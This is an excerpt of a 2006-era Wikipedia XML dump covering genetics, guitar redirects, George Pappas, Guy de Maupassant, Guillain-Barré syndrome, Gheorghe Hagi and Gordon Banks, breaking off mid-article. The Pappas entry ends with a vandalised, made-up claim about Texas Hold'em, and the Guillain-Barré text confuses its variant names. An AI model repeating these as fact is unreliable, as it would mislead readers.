Molecular genetics builds upon the foundation of classical genetics but focuses on the structure and function of [[gene|genes]] at a [[Molecule | molecular]] level. Molecular genetics employs the methods of both classical genetics (such as [[hybridization]]) and [[molecular biology]].  It is so-called to differentiate it from other sub fields of genetics such as [[ecological genetics]] and [[population genetics]].  An important area within molecular genetics is the use of molecular information to determine the patterns of descent, and therefore the correct [[scientific classification]] of organisms: this is called [[molecular systematics]].
The study of inherited features not strictly associated with changes in the [[DNA]] sequence is called [[epigenetics]].

Some take the view that [[life]] can be defined, in [[molecule|molecular]] terms, as the set of strategies which [[RNA]] polynucleotides have used and continue to use to perpetuate themselves. This definition grows out of work on the [[origin of life]], specifically the [[RNA world hypothesis]].

===Population, quantitative and ecological genetics===
:''Main articles:'' [[Population genetics]], [[Quantitative genetics]], [[Ecological genetics]]

Population, quantitative and ecological genetics are all very closely related subfields and also build upon classical genetics (supplemented with modern molecular genetics).  They are chiefly distinguished by a common theme of studying [[population]]s of organisms drawn from nature but differ somewhat in the choice of which aspect of the organism on which they focus.  The foundational discipline is population genetics which studies the distribution of and change in [[allele frequency|allele frequencies]] of genes under the influence of the four evolutionary forces: [[natural selection]], [[genetic drift]], [[mutation]] and [[migration]]. It is the theory that attempts to explain such phenomena as [[adaptation (biology)|adaptation]] and [[speciation]].

The related subfield of quantitative genetics, which builds on population genetics, aims to predict the response to [[selection]] given data on the [[phenotype]] and relationships of individuals.  A more recent development of quantitative genetics is the analysis of [[quantitative trait loci]].  Traits that are under the influence of a large number of genes are known as quantitative traits, and their mapping to a location on the [[chromosome]] requires accurate phenotypic, pedigree and marker data from a large number of related individuals.

Ecological genetics again builds upon the basic principles of population genetics but is more explicitly focused on [[ecology|ecological]] issues.  While molecular genetics studies the structure and function of genes at a molecular level, ecological genetics focuses on wild populations of organisms, and attempts to collect data on the ecological aspects of individuals as well as molecular markers from those individuals.

===Genomics===
{{main|Genomics}}

A more recent development is the rise of [[genomics]], which attempts the study of large-scale genetic patterns across the [[genome]] for (and in principle, all the DNA in) a given species. Genomics depends on the availability of whole genome sequences, and computational tools developed in the field of [[bioinformatics]] for analysis of large set of data.

===Closely-related fields===
The science which grew out of the union of [[biochemistry]] and genetics is widely known as [[molecular biology]].
The term &quot;genetics&quot; is often widely conflated with the notion of [[genetic engineering]], where the DNA of an organism is modified for some kind of practical end, but most research in genetics is aimed at understanding and explaining the effect of genes on phenotypes and in the role of genes in populations (see [[population genetics]] and [[ecological genetics]]), rather than genetic engineering.

==See also==
*[[List of genetics-related topics]]
*[[List of genetic engineering topics]] 
*[[Central dogma of molecular biology]]
*[[Chimera (genetics)|Chimerism]]
*[[Gene regulatory network]]
*[[Genetic counseling]]
*[[Genetic screen]]
*[[Genetic testing]]
*[[List of publications in biology#Genetics| Important publications in genetics]]
*[[List of genetics research organizations]]
*[[List of geneticists &amp; biochemists]]
*[[Mitochondrial genetics]]
*[[Reprogenetics]]
*[[Punnett square]]

==Journals==
*''[[Genetics (journal)|Genetics]]''
*''[[Journal of Genetics]]''
*''[[Annals of Human Genetics]]''
*''[[Heredity (journal)|Heredity]]''

==External links==
{{book|Genetics}}
===Related publications===
*''Advanced Genetics''
*[http://www.journals.uchicago.edu/AJHG/home.html ''American Journal of Human Genetics'']
*''Annual Reviews of Genetics''
*[http://www.nature.com/ejhg/ ''European Journal of Human Genetics'']
*''[http://www.genesdev.org/ Genes and Development]''
*[http://hmg.oupjournals.org/ ''Human Molecular Genetics'']
*''[http://jhered.oupjournals.org/ Journal of Heredity]''
*[http://www.bionews.in/index.php/archives/category/genetics// ''Latest Genetics News'']
*[http://www.nature.com/ng/ ''Nature Genetics'']
*''[[Nature Reviews Genetics]]'' ([http://www.nature.com/nrg/index.html  journal home])
*[http://www.nature.com/genomics/ ''Nature Genome Gateway'']
*[http://www.jpharmacogenetics.com/ ''Pharmacogenetics'']
*''Journal of Medical Genetics''

=== Other ===
*[http://www.jbpub.com/connections Exploring the Way Life Works]
*[http://gslc.genetics.utah.edu Genetic Science Learning Center]
*[http://www.jic.bbsrc.ac.uk/corporate/Library/letter.html Letter to Adam Sedgwick in 1905 from William Bateson]
*[http://www.ornl.gov/sci/techresources/Human_Genome/genetics.shtml  The Virtual Library on Genetics]
*[http://www.gene-watch.org  Council for Responsible Genetics]
*[http://geneticsmadeeasy.com Genetics made easy]

{{Genetics-footer}}
{{Biology-footer}}


[[Category:Genetics|*]]

[[af:Genetika]]
[[ar:علم الوراثة]]
[[bg:Генетика]]
[[bn:জিনতত্ত্ব]]
[[cs:Genetika]]
[[da:Genetik]]
[[de:Genetik]]
[[et:Geneetika]]
[[es:Genética]]
[[eo:Genetiko]]
[[fr:Génétique]]
[[ko:유전학]]
[[io:Genetiko]]
[[id:Genetika]]
[[is:Erfðafræði]]
[[it:Genetica]]
[[he:גנטיקה]]
[[la:Genetica]]
[[lt:Genetika]]
[[lb:Genetik]]
[[hu:Genetika]]
[[ms:Genetik]]
[[nl:Genetica]]
[[ja:遺伝学]]
[[no:Genteknologi]]
[[os:Генетикæ]]
[[pl:Genetyka]]
[[pt:Genética]]
[[ro:Genetică]]
[[ru:Генетика]]
[[simple:Genetics]]
[[sl:Genetika]]
[[sr:Генетика]]
[[su:Genetika]]
[[fi:Perinnöllisyystiede]]
[[sv:Genetik]]
[[tl:Henetika]]
[[ta:மரபியல்]]
[[th:พันธุศาสตร์]]
[[vi:Di truyền học]]
[[tr:Genetik]]
[[zh:遗传学]]</text>
    </revision>
  </page>
  <page>
    <title>Guitar/Slide</title>
    <id>12267</id>
    <revision>
      <id>15909968</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Slide guitar]]



:''See also :'' [[Guitar]]</text>
    </revision>
  </page>
  <page>
    <title>Guitar/Steel</title>
    <id>12268</id>
    <revision>
      <id>15909969</id>
      <timestamp>2004-08-27T16:12:18Z</timestamp>
      <contributor>
        <ip>205.118.4.98</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Pedal steel guitar]]</text>
    </revision>
  </page>
  <page>
    <title>Guitar/Classical</title>
    <id>12269</id>
    <revision>
      <id>15909970</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Classical guitar]]

:''See also :'' [[Guitar]]</text>
    </revision>
  </page>
  <page>
    <title>Guitar/Bass</title>
    <id>12270</id>
    <revision>
      <id>15909971</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bass guitar]]

:''See also :'' [[Guitar]]</text>
    </revision>
  </page>
  <page>
    <title>George Pappas</title>
    <id>12272</id>
    <revision>
      <id>31979858</id>
      <timestamp>2005-12-19T16:30:25Z</timestamp>
      <contributor>
        <ip>87.202.32.5</ip>
      </contributor>
      <text xml:space="preserve">'''George Pappas''' is a professor of [[philosophy]] at [[Ohio State University]].  Pappas' specializations are [[epistemology]], [[17th-century philosophy]], [[philosophy of religion]], and [[metaphysics]].

He is author and editor of several books, including a new book about [[George Berkeley]], and a widely-used epistemology anthology, ''Essays on Knowledge and Justification''.

[[Category:American philosophers|Pappas]]

George Pappas is also an epic figuere in Greek modern history of Texas Holdem</text>
    </revision>
  </page>
  <page>
    <title>Guy de Maupasant</title>
    <id>12273</id>
    <revision>
      <id>15909974</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>130.94.122.xxx</ip>
      </contributor>
      <comment>#REDIRECT [[Guy de Maupassant]]</comment>
      <text xml:space="preserve">#REDIRECT [[Guy de Maupassant]]</text>
    </revision>
  </page>
  <page>
    <title>Guy de Maupassant</title>
    <id>12274</id>
    <revision>
      <id>42112402</id>
      <timestamp>2006-03-03T22:24:28Z</timestamp>
      <contributor>
        <username>Sgt Pinback</username>
        <id>596014</id>
      </contributor>
      <comment>/* Short Stories */ del &quot;(sci-fi novell)&quot;</comment>
      <text xml:space="preserve">[[Image:GDMaupassant.jpg|right|200px|thumbnail|Guy de Maupassant]]
{{French literature (small)}}
Henri René Albert '''Guy de Maupassant''' ([[IPA]]: {{IPA|&amp;#609;idəmopas&amp;#771;&amp;#593;}}) ([[5 August]] [[1850]] &amp;ndash; [[6 July]] [[1893]]) was a popular 19th-century [[France|French]] [[writer]]. He is one of the fathers of the modern [[short story]].

==Biography==

Maupassant was born at the [[Chateau|Château]] de Miromesnil, near [[Dieppe, Seine-Maritime|Dieppe]] in the [[Seine-Maritime]] department. He became a writer of short stories and novels. His short stories are characterised by their economy of style and the efficient way in which the various threads within them are neatly resolved. Some of his stories would now be considered to be [[horror fiction]].

The Maupassants were an old [[Lorraine (province)|Lorraine]] family who had settled in [[Normandy]] in the middle of the [[18th century]]. In [[1846]] his father had married  a young lady of the well-to-do [[bourgeoisie]], Laure Le Poittevin. With her brother Alfred, she had been the playmate of [[Gustave Flaubert]], the son of a [[Rouen]] surgeon, who was destined to have a directing influence on her son's life. She was a woman of no common literary accomplishments, very fond of the classics, especially [[William Shakespeare|Shakespeare]]. Separated from her husband, she kept her two sons, Guy and his younger brother Hervé.

Until he was thirteen years old Guy lived with his mother at [[Étretat]], in the Villa des Verguies, where between the sea and the luxuriant country, he grew very fond of nature and outdoor sports; he went fishing with the fishermen off the coast and spoke patois with the peasants. He was deeply devoted to his mother. &lt;br /&gt;
He first entered a seminary at [[Yvetot]], but deliberately managed to have himself expelled. From his early religious education he retained a marked hostility to [[religion]]. &lt;br /&gt;
Then he was sent to the Rouen ''[[Lycée]]'', where he proved a good scholar indulging in poetry and taking a prominent part in theatricals.

The [[Franco-Prussian War]] broke out soon after his graduation from college in [[1870]]; he enlisted as a volunteer and fought gallantly.
After the war, in [[1871]], he left Normandy and came to [[Paris]] where he spent ten years as a clerk in the Navy Department. During these ten tedious years his only recreation was canoeing on the [[Seine]] on Sundays and holidays.

[[Gustave Flaubert]] took him under his protection and acted as a kind of literary guardian to him, guiding his debut in journalism and literature. At Flaubert's home he met [[Émile Zola]] and the Russian novelist [[Ivan Turgenev]], as well as many of the protagonists of the [[realism (arts)|realist]] and [[naturalism (literature)|naturalist]] schools. He wrote considerable verse and short plays.

In [[1878]] he was transferred to the Ministry of Public Instruction and became a contributing editor of several leading newspapers such as ''[[Le Figaro]], Gil Blas, [[Le Gaulois]] ''and ''l'Echo de Paris.'' He devoted his spare time to writing novels and short stories.
In [[1880]] he published his first masterpiece, &quot;[[Boule de Suif]]&quot;, which met with an instant and tremendous success. Flaubert characterized it as &quot;a masterpiece that will endure&quot;.

The decade from [[1880]] to [[1891]] was the most fertile period of Maupassant's life. Made famous by his first short story, he worked methodically and produced two or sometimes four volumes annually. He combined talent and practical business sense, which brought him affluence and wealth.

In [[1881]] he published his first volume of short stories under the title of ''La Maison Tellier''; it reached its twelfth edition in two years; in [[1883]] he finished his first novel, ''Une Vie'' (translated into English as ''A Woman's Life''), twenty-five thousand copies of which were sold in less than a year. In his novels, he concentrated all his observations scattered in his short stories. His second novel ''[[Bel-Ami]]'', which came out in [[1885]], had thirty-seven printings in four months.
His editor, Havard, commissioned him to write new masterpieces and, without the slightest effort, his pen produced works of style, description, conception, and penetration. At this time he wrote what many consider to be his greatest novel, ''[[Pierre et Jean]]''.

With a natural aversion for society, he loved retirement, solitude, and meditation. He traveled extensively in [[Algeria]], [[Italy]], [[England]], [[Brittany]], [[Sicily]], [[Auvergne (province)|Auvergne]], and from each voyage he brought back a new volume. He cruised on his private yacht &quot;Bel-Ami&quot;, named after his earlier novel. This feverish life did not prevent him from making friends among the literary celebrities of his day: [[Alexandre Dumas, fils]] had a paternal affection for him; at [[Aix-les-Bains]] he met [[Hippolyte Adolphe Taine|Taine]] and fell under the spell of the philosopher-historian.

Flaubert continued to act as his literary godfather. His friendship with the [[Edmond Louis Antoine Huot de Goncourt|Goncourt]]s was of short duration; his frank and practical nature reacted against the ambience of gossip, scandal, duplicity, and invidious criticism that the two brothers had created around them in the guise of an 18th-century style salon. He hated the human comedy, the social farce.

In his latter years he developed an exaggerated love for solitude, a predilection for self-preservation, and a constant fear of death and mania of persecution, compounded by the [[syphilis]] he had contracted in his early days. He was considered insane in [[1891]] and died two years later, a month short of his 43rd birthday, on [[July 6]], [[1893]].

Guy de Maupassant is buried in the [[Cimetière du Montparnasse]], [[Paris]].

==Significance==

Maupassant is one of the fathers of the modern short story. Unlike the more psychologically oriented [[Ivan Turgenev|Turgenev]] and [[Anton Chekhov|Chekhov]], Maupassant delights in clever plotting, and served as a model for [[Somerset Maugham]] and [[O. Henry]] in this respect. His stories about real or fake jewels (&quot;[[The Necklace|La parure]]&quot;, &quot;Les bijoux&quot;) are imitated with a twist by Maugham (&quot;Mr Know-All&quot;, &quot;A String of Beads&quot;) and Henry James (&quot;[[Paste (story)|Paste]]&quot;). As a stylish writer with a huge popular appeal he may be compared to [[Georges Simenon]].

==Short Stories==
*''[[Boule de Suif|Ball-of-Fat]]'' (1880)
*''Mme. Tellier's Establishment'' (1881)
*''Mademoiselle Fifi'' (1882)
*''Mother Savage'' (1884)
*''Miss Harriet'' (1884)
*''My Uncle Jules'' (1884)
*''A Piece of String'' (1884)
*''[[The Necklace]]'' (1885)
*''A Way to Wealth'' (1885)
*''[[The Horla]]'' (1887)

==External links==
*{{gutenberg author|id=Guy_de_Maupassant|name=Guy de Maupassant}}
* [[French language|French]] [http://www.incipitblog.com/index.php/2005/12/24/guy-de-maupassant-contes-de-la-becasse-pierrot-1882/ free Audio Book (mp3):] Pierrot, a short story written in 1882
*[http://librivox.org/short-story-collection-002/ Free audio recording of ''The Diamond Necklace''] from [http://www.librivox.org Librivox]
*[http://www.cosmoetica.com/B311-DES251.htm Analysis of author's short stories]
*[http://www.kirjasto.sci.fi/maupassa.htm Maupassant online site]
*[http://www.online-literature.com/maupassant/ Searchable online index of author's works]

[[Category:1850 births|Maupassant, Guy de]]
[[Category:1893 deaths|Maupassant, Guy de]]
[[Category:French novelists|Maupassant, Guy de]]
[[Category:French short story writers|Maupassant, Guy de]]
[[Category:Normans|Maupassant, Guy de]]

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  </page>
  <page>
    <title>Guillain-Barré syndrome</title>
    <id>12275</id>
    <revision>
      <id>41941460</id>
      <timestamp>2006-03-02T19:54:27Z</timestamp>
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      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Guillain-Barré syndrome |
  ICD10       = G61.0 |
  ICD9        = {{ICD9|357.0}} |
}}

'''Guillain-Barré syndrome''' ('''GBS'''), is an acquired [[autoimmune disorder|immune-mediated inflammatory disorder]] of the [[peripheral nervous system]] (i.e. ''not'' the [[brain]] or [[spinal cord]]).  It is also called ''acute inflammatory demyelinating polyneuropathy'', ''acute idiopathic polyradiculoneuritis'', ''acute idiopathic polyneuritis'', ''French Polio'' and ''Landry's ascending paralysis''.

== Overview ==
The pathologic hallmark of the disease is loss of [[myelin]] in peripheral nerves due to an acute and progressive inflammation of unknown cause. It is suggested that it is an autoimmune disease, in which the sufferer's immune system is triggered into damaging the nerve covering. There is some support for this in that half of all cases occur soon after a microbial infection or respiratory or gastrointestinal viral infection. Many cases developed in people who received the [[1976]] swine [[flu vaccine]].

Peripheral nerves originate in the spinal cord and proceed to their target tissues (mainly muscle, skin and all internal organs). Their most proximal parts emerging from the spinal cord are called nerve roots and the inflammation in most (but not all) typical Guillain-Barré syndrome cases starts in these roots. Therefore, this condition is also referred to as ''acute polyradiculoneuritis''.

Recent studies on the disease have demonstrated that approximately 80% of the patients have myelin loss, whereas, in the remaining 20%, the pathologic hallmark of the disease is indeed [[axon]] loss. The cases indicating the demyelinating form (AIDP) are called &quot;acute motor and sensory axonal neuropathy&quot; (AMSAN); the cases showing only motor symptoms (diffuse weakness) are called &quot;acute motor axonal neuropathy&quot; (AMAN). In a different and infrequent variant called [[Miller Fisher syndrome]], patients develop [[ataxia]], loss of [[tendon]] reflexes, and difficulty moving eye muscles but not weakness or sensory loss. All variants of Guillain-Barré syndrome are now supposed to be an [[autoimmune]] disease caused by [[antibody|antibodies]] against a variety of [[ganglioside]]s found in abundant amounts in the peripheral nerve tissue.

== Prevalence ==
GBS is a rare disease affecting about 1 to 2 people in every 100,000 annually. It does not discriminate with regard to the age or sex of sufferers.  When diagnosed in young teenagers, it generally does not recur for many years, although when it does, it often does so in the fourth or fifth decade of life, long after the patients may have forgotten the details of the original episode.

== Cause ==
About one half of patients have a history of preceding viral infection within two to four weeks prior to exhibiting the onset of Guillain-Barré syndrome. Guillain-Barré syndrome may also be associated with [[immunization]]s, recent surgery or trauma, pregnancy, [[Hodgkin's disease]], chemo-therapy, and connective tissue diseases. The most frequently associated viral agents are [[cytomegalovirus]] (CMV), [[HIV]], [[measles]] and [[herpes simplex virus]]. A bacterium called ''[[Campylobacter jejuni]]'' has recently been shown to be closely related with certain subtypes of the disease.

== Signs and symptoms ==
Extensive damage of [[myelin]] causes disturbances in peripheral nerve functions, which can be classified as motor (affecting the muscle), sensory (affecting the skin) or autonomic (affecting the internal organs). Therefore, patients usually show two or more of the following symptoms: weakness (often symmetrical, in ascending fashion, leading to respiratory failure in one-third of cases), decreased sensation (numbness, loss of position sense), severe fluctuations in blood pressure, irregularities of heart rate, constipation and incontinence. Additional symptoms may be blurred vision, difficulty moving facial muscles, difficulty swallowing, and drooling.

The symptoms are ascending weakness with abnormal sensations and then paralysis of the legs, arms, face and possibly breathing muscles. [[Miller-Fisher Syndrome]], however, is a descending weakness, proceeding in the reverse order of the more common form of Guillain-Barré syndrome.  Guillain-Barré syndrome is rarely fatal but there is no direct cure and recovery may need care in an intensive care unit and can take years (although people can recover in a few weeks as well).

== Diagnosis ==
The diagnosis is established by [[electromyography]] examination, [[nerve conduction study|nerve conduction studies]] (NCS), and [[cerebrospinal fluid]] (CSF) examination. Electromyography and NCS show slowing of [[Nerve conduction velocity|conduction velocities]], indicating myelin loss; CSF examination reveals high [[protein]] content with usually normal or slightly elevated cell count, indicating severe nerve damage. These findings are usually prominent after the first week of the disease, so the clinical symptoms and findings are more valuable in the early stages.

== Treatment ==
Supportive care with monitoring of all vital functions is the cornerstone of successful management. Because the immune mechanisms play a role in pathogenesis, plasma exchange or intravenous [[immunoglobulin]]s over a course of treatment lasting five days may improve the outcome, preventing the need for a ventilator to be used.  The use of intravenous immunoglobulins is not without risk, occasionally causing hepatitis, or in rare cases, renal failure if used for longer than five days. Although the [[corticosteroid]]s may be used in treatment, they are no longer considered the drug of first choice in modern practice because they may occasionally worsen symptoms. 

Following the acute phase, the patient may also need rehabilitation to regain lost functions. This treatment will focus on improving ADL (activities of daily living) functions such as brushing teeth, washing and getting dressed. Depending on the local structuring on health care, there will be established a team of different therapists and nurses according to the patients needs. An occupational therapist can offer equipment (such as wheel chair and cutlery) to help the patient achieve ADL independence. A physio therapist would plan a progressive training programme, and guide the patient to correct, functional movement avoiding harmful compensations which might have a negative effect in the long run. There would also be a doctor, nurse and perhaps a speech trainer involved, depending on the needs of the patient. This team contribute with their knowledge to guide the patient towards his goal, and it is important that all goals set by the separate teammembers are relevant for the patient's own priorities. 

After rehabilitation the patient should be able to function in his own home and attend necessary training as needed.

== Prognosis ==
Approximately 80% of patients have a complete recovery and about 5-10% recover with severe disability. However, this is a grave disease and despite all improvements in treatment and supportive care, the death rate among patients with this disease is still about 2-3% even in the best intensive care units.  Worldwide, the death rate runs slightly higher (4%), mostly from a lack of availability of life support equipment during the lengthy plateau lasting 4 to 6 weeks when a ventilator is needed in the worse cases.

== History ==
The disease was first described by the French physician [[Jean Landry]] in [[1859]]. In [[1916]], [[Georges Guillain]], [[Jean Alexandre Barré]] and [[Andre Strohl]] discovered the key diagnostic abnormality of increased spinal fluid protein production, but normal cell count.

== External links ==
* [http://www.gbsfi.com/ Guillain-Barré syndrome forum and information]

[[Category:Eponymous diseases]]
[[Category:Autoimmune diseases]]
[[Category:Neurology]]

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  </page>
  <page>
    <title>Gheorghe Hagi</title>
    <id>12276</id>
    <revision>
      <id>40030785</id>
      <timestamp>2006-02-17T16:58:36Z</timestamp>
      <contributor>
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      <text xml:space="preserve">{{Football player infobox |
  playername = Gheorghe Hagi |
  image = [[Image:hagi3.jpg|200px]] |
  fullname = Gheorghe Hagi |
  nickname = ''Maradona din Carpaţi''  |
  dateofbirth = [[February 5]], [[1965]] |
  cityofbirth = [[Săcele]] |
  countryofbirth = [[Romania]] |
  currentclub  = Retired |
  position = Attacking Midfielder |
  youthyears = &amp;nbsp; |
  youthclubs = &amp;nbsp; |
  years = [[1982]]-[[1983|83]]&lt;br/&gt;[[1983]]-[[1987|87]]&lt;br/&gt;[[1987]]-[[1990|90]]&lt;br/&gt;[[1990]]-[[1992|92]]&lt;br/&gt;[[1992]]-[[1994|94]]&lt;br/&gt;[[1994]]-[[1996|96]]&lt;br/&gt;[[1996]]-[[2001|01]]|
  clubs = FC Constanţa&lt;br/&gt;Sportul Studenţesc&lt;br/&gt;Steaua Bucureşti&lt;br/&gt;Real Madrid CF&lt;br/&gt;Brescia Calcio&lt;br/&gt;FC Barcelona&lt;br/&gt;Galatasaray Istanbul |
  caps(goals) = 18 (7)&lt;br/&gt;107 (58)&lt;br/&gt;97 (76)&lt;br/&gt;63 (15)&lt;br/&gt;61 (15)&lt;br/&gt;35 (7)&lt;br/&gt;132 (59) |
  nationalyears = [[1983]]-[[2000|00]] |
  nationalteam = [[Romania national football team|Romania]] |
  nationalcaps(goals) = 125 (35)
}}

'''Gheorghe Hagi''' {{IPA|/'gěor.ge 'ha.ʤi/}} (born [[February 5]] [[1965]] in [[Sacele, Constanta|Săcele]], [[Constanţa County]]) is a [[Romania]]n [[football (soccer)|football]] player who played for the [[Romania national football team|Romanian national team]] in three [[Football World Cup|World Cup]]s. Nicknamed &quot;The [[Diego Maradona|Maradona]] of the Carpathians&quot;, he is a hero in his homeland as well as in [[Turkey]].  He has won his country's Player of the Year award a record six times, and was recently named Romania's player of the century. Most notably, he was named the best player of the 1990s by FIFA.

During the [[Football World Cup 1994|1994 World Cup]], Hagi made highlights by scoring vital goals for Romania, including a 35 meter lob against [[Colombia national football team|Colombia]]. 

Having played for Farul [[Constanta|Constanţa]] (1979/1980 and 1982/83), Luceafărul [[Bucharest]] (1980/1982), [[Sportul Studenţesc]] (1983/1986), [[Steaua Bucharest]] (1986/1990), [[Real Madrid]] (1990/1992), [[Brescia]] (1992/1994) and [[FC Barcelona]] (1994/1996), Hagi then joined [[Galatasaray]], the [[Turkey|Turkish]] club team that captured the [[UEFA Cup]] title in 2000. Prior to his third retirement in 2001, he won 125 international caps, scoring 35 goals.

Hagi made his debut for the national side at the age of 18 in 1983. Since then he has been, literally, the cause of the rise of Romanian soccer in the 1990s. His playing style revolutionized the Romanian game - his speed and creativity made those famous counter-attacks possible.
At 5'8&quot; tall, wearing size five boots, Hagi is one of the more diminutive players on the field, but in terms of his impact on the game, and the status of Romanian soccer, he is larger than life. By bringing so much respect to Romanian soccer, Hagi opened up opportunities for future players, as clubs from all over Europe come to scout talent in Romania.

Hagi has since returned to [[football (soccer)|football]] as a coach. He became the head coach of the Romanian national team in 2001, although he only lasted six months as the team failed to qualify for the [[Football World Cup 2002|2002 World Cup]]. He then took over as coach of Turkish first division side [[Bursaspor]] but left that club after a disappointing start to the season.

After a 18 month hiatus spent running a coastal [[Black Sea]] hotel and appearing in television commercials, he then returned to club management at the helm of the club at which he won his first European trophy, [[Galatasaray]]. He resigned from this position, on [[May 30]] [[2005]], at the end of his first season in the role. For many Galatasaray fans, a third place finish in the League (and therefore missing out on a prestigious berth in the 2005/2006 [[UEFA Champions League]] competition) was highly disappointing, despite the club's success in the Turkish Cup.

In November 2005, Gheorghe Hagi took over as manager at [[FCU Politehnica Timisoara]], signing a contract until 2008. 

Hagi is ethnically [[Aromanian]]. In March [[2004]], he was named among the [[FIFA 100|top 125 living footballers]] by [[Pelé]]. Hagi is [[Adrian Mutu]] and [[Alexandra Mutu]]'s godfather.

== External links == 
*[http://www.hagi.ro Gheorghe Hagi's official website]
*[http://www.hagi10.com Hagi fansite]
*[http://www.iaki.ro Hagi's Iaki Hotel]

[[Category:1965 births|Hagi, Gheorghe]]
[[Category:Living people|Hagi, Gheorghe]]
[[Category:FIFA 100|Hagi, Gheorghe]]
[[Category:Romanian footballers|Hagi, Gheorghe]]
[[Category:Romanian football managers|Hagi, Gheorghe]]
[[Category:Real Madrid players|Hagi, Gheorghe]]
[[Category:FC Barcelona footballers|Hagi, Gheorghe]]
[[Category:Galatasaray players|Hagi, Gheorghe]]
[[Category:Galatasaray football managers|Hagi, Gheorghe]]

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  </page>
  <page>
    <title>Gordon Banks</title>
    <id>12277</id>
    <revision>
      <id>41750622</id>
      <timestamp>2006-03-01T13:57:33Z</timestamp>
      <contributor>
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      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">''For the politician, see [[Gordon Banks (politician)]]''

'''Gordon Banks, [[Order of the British Empire|OBE]]''' (born [[Sheffield]], [[England]], [[30th December]], [[1937]]) is a former English [[football (soccer)|footballer]], considered by many to be the best [[goalkeeper]] to have played the game.

Banks' crowning glory came as the keeper when [[England national football team|England]] won the [[Football World Cup 1966|1966 World Cup]], enhancing his reputation further with one of football's most iconic saves at the [[Football World Cup|1970]] tournament, against [[Pelé]] during the group match against [[Brazil national football team|Brazil]].

==Early years==

A careful student of goalkeepers during childhood, Banks played in local [[colliery]] football as a boy and was offered an [[apprentice]]ship by [[Chesterfield F.C.|Chesterfield]] after initially going to work down a [[mining|mine]] and then as a [[bricklayer]] on leaving school.

After performances in the youth and A teams gained him promotion to the reserves, Banks was posted to [[Germany]] with the Royal Signals on [[National Service]], winning the Rhine Cup with his regimental team. On his return he was offered a full-time contract by the Chesterfield manager, [[Ted Davison]].

He reached the two-legged [[FA Youth Cup]] final with Chesterfield in [[1956]], losing 4-3 on aggregate to the [[Manchester United F.C.|Manchester United]] team of the famous ''[[Matt Busby|Busby Babes]]''. He made his debut for the first team at home in November 1958 against Colchester United in the newly formed Third Division. He played just 23 games for the club before First Division [[Leicester City F.C.|Leicester City]] offered Chesterfield 7,000 [[Pound sterling|pound]]s in the summer of [[1959]].

Banks' career started to rise rapidly from hereon in. After 4 games for the reserves, he replaced the injured Dave McLaren for his Leicester City debut in a 1-1 draw against Blackpool on the 9th September 1959 and retained his place for the 2-0 defeat against Newcastle 3 days later. With McLaren fit again, Banks was sent back to the reserves but, after the first team conceded 14 goals in the next 5 games, he was recalled and became the first-choice goalie for the remainder of the season.

In [[1961]], Leicester City beat Sheffield United to reach the [[FA Cup]] final at [[Wembley Stadium|Wembley]], the first of three they would manage that [[decade]]. Their opponents were [[Tottenham Hotspur F.C.|Tottenham Hotspur]], who were a cut above everyone else having won the [[Football League First Division|First Division]] title with ease and style. Banks played well, but with the right back Len Chalmers carrying an injury, was powerless to prevent second half goals from [[Bobby Smith]] and [[Terry Dyson]] giving Spurs a 2-0 win and the first &quot;double&quot; of the 20th century.

At the time, [[Ron Springett]] was the goalkeeper for England, but after the [[Football World Cup 1962|1962 World Cup]] in [[Chile]], a new coach was appointed in former England right back [[Alf Ramsey]]. Ramsey demanded sole control of team and began looking towards the next World Cup. He knew that he just needed to find a squad for the final stages as England were hosting the event and didn't need to undergo a qualifying campaign. In goal, Banks was checked out by Ramsey for the first time in April [[1963]] against [[Scotland national football team|Scotland]] at Wembley. Though England lost 2-1, Banks gained plaudits and Ramsey was pleased with him. He played in 13 of the next 15 internationals, including a 1-1 draw against Brazil.

Meanwhile, a month after his international bow, Banks was back at Wembley with Leicester for another FA Cup final, this time against Manchester United. United were looking for their first trophy since the [[Munich air disaster]] of five years earlier which had claimed the lives of eight of the ''Busby Babes'' whom Banks had faced as an [[adolescent]]. Banks failed to hold a [[Bobby Charlton]] shot from distance which gifted a chance to [[David Herd (footballer)|David Herd]] and afterwards it went from bad to worse for England's newest keeper, when [[Denis Law]] wrongfooted Banks with a smart shot on the turn to put United 2-0 ahead. After Leicester had pulled one back through a diving header from [[Ken Keyworth]], Banks leapt high in the air to claim a high cross from [[Johnny Giles]], only to drop the ball at Herd's feet. Herd scored his second to conclude a 3-1 win.

In [[1964]], Banks had some domestic success when Leicester beat [[Stoke City F.C.|Stoke City]] 4-3 in the [[League Cup]] final over two legs, though they lost the trophy a year later after a 3-2 defeat by [[Chelsea F.C.|Chelsea]] on [[aggregate]] in the final.

==The 1966 World Cup==

By [[1965]], Banks was indisputably the first-choice England goalkeeper. He was settling into the form of his life which would last for the next seven years; agile and alert, he was frequently seen making amazing reflex saves and possessed flawless positional sense and reading of attackers' movements and instincts.

His place in the starting line-up was secure as the World Cup approached; that said, one of his most famous stories tells of how he casually said ''&quot;See you Alf!&quot;'' to his England boss after one get-together ended, only for Ramsey to reply ''&quot;Will you?&quot;''

When the World Cup began, Banks was in goal as England got through their group containing [[Uruguay national football team|Uruguay]], [[Mexico national football team|Mexico]] and [[France national football team|France]], drawing 0-0 with the former and clinching 2-0 victories over the latter. Banks wasn't greatly tested, but it was hugely encouraging that he emerged from the group with three clean sheets from three games, a trend which continued when England beat a thuggish [[Argentina national football team|Argentina]] side 1-0 in the last eight, with [[Geoff Hurst]] scoring with a header.

Bobby Charlton scored twice in the semi final against [[Portugal national football team|Portugal]] before a late penalty was conceded by [[Jack Charlton]] handling the ball. Banks was finally beaten after 443 minutes when [[Eusebio]] put away the spot kick to his right. That said, England had won 2-1 and were in the final, where [[Germany national football team|West Germany]] awaited.

